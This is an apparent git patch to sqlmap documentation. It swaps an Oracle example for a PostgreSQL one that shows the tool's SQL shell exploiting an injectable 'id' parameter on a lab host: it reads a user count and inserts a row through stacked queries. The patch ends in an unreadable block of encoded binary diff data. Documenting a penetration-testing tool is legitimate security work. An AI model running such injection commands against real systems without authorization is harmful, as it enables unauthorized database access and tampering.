From 9ab174a444bd3b8c2b15cd51b46fcb8432320ac3 Mon Sep 17 00:00:00 2001
From: Bernardo Damele
Example of SQL statement other than SELECT
on an Oracle XE
-10.2.0.1 target:
Example of SQL statement other than SELECT
on a PostgreSQL
+8.3.5 target:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-shell -v 1
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1
[...]
-back-end DBMS: Oracle
+back-end DBMS: PostgreSQL
-[hh:mm:20] [INFO] calling Oracle shell. To quit type 'x' or 'q' and press ENTER
-sql> TODO
+[10:11:42] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
+sql> SELECT COUNT(name) FROM users
+[10:11:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
+[10:11:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
+[10:11:59] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) FROM users
+[10:11:59] [INFO] retrieved: 4
+[10:11:59] [INFO] performed 13 queries in 0 seconds
+SELECT COUNT(name) FROM users: '4'
+
+sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
+[10:12:35] [INFO] testing stacked queries support on parameter 'id'
+[10:12:40] [INFO] the web application supports stacked queries on parameter 'id'
+[10:12:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');'
+[10:12:40] [INFO] done
+sql> SELECT COUNT(name) FROM users
+[10:12:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
+[10:12:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
+[10:12:53] [INFO] query: SELECT COALESCE(CAST(COUNT(name) AS CHARACTER(10000)), CHR(32)) FROM users
+[10:12:53] [INFO] retrieved: 5
+[10:12:54] [INFO] performed 20 queries in 0 seconds
+SELECT COUNT(name) FROM users: '5'
+TODO
|wUcy5af^y4=~#a$G$;`N+z;n7_;SoVna^E+6LN
zZ%J<6@N&)j@GtC67fB+suV^MHdWyOL-Iw;IDt-{DOtka8^tNrf;4|a-m2d{sAkxzv
zNAjfl`0II|xQfK_{KM1w6|3)nkBk#~qtTO#LclB~!T-m|J&YCBd_efxz~dyIB5uR-
z5=cOrYs~xeqm5P-t;u|CpAjSc@w^B<(r1Vb>><)WJE6q9Ku}xJvJd4K5rL8}kjB;1
zUAeO_^vihg`%nXLq@^ym(8Exp$!DZCuS%NEjGY^xhBf0AYvsOBMOUvNGnuKm%R&@-
z{vzAwMVtrUr$q@G;
zx4Cn@Q_}RErHWW_jeD28ny+Et+R9dd_X*!$##P@D)oospTgwu*9vYU@>&l+gD^1GC
zT}SU~uvjr#K4|JU^k=Pgg^>G>)Vmj=|2CKWRCxO7?H`vkTG1_UXZ7sOvI|Qm-TGtY
ze?HaP?j3qzU;VQItFE5v6uwD%+hX*dZ2uduZ%zTv%Wrd!FW+NHvG5UJ#l9(av~_`-
zS?cx!O0uC4@IH`bN=rn6LV0N-D{ylgV+qz6;&l9yny@&ScN
E~GvkIU*62|!pEHVZFqWaweCt?eYO?3(Z?4mfFV
zt_N>NUi{jDZ-Pj(IraKx>o}qJD`;w@Nfk9j&sg7Gz+Ic=DwYQT3T;6Y@jt3qQh`tc
zgRpS@g9=qzH#G
C;62kyK#%Lq6lBBxQC6IOc*u1l-$xK`QapdUrvZ{J=h#&X#
zr>i&umvMkD*5f1!x-{!Cj{z|0SK2l-ZCmX>L49)LN>NK>Tz(xKt5xJakH6?kJET9O
zF7DvTh60xYh_AX^!|vcvM>VGnW*E+K-MY4P-{%cG%Zsap0QJjLY?~pgRmaEXEJC~%
z3klEce+=_=pN-ZE8FoC?V7!gkU=1Sd;7_~
uWU7d@`q>Wgm&ed+vm>rL+lSMF4}|4-8D%XMF*{FGXF<(rN@D*t`ERqGDZ
zr<4s%I@`ev-?=7jZh;d?b32Z!o%FBHvzm;((5B7Gg|UT_yOkR^xzM~3T2S61Kc&oi
z`J~#3^5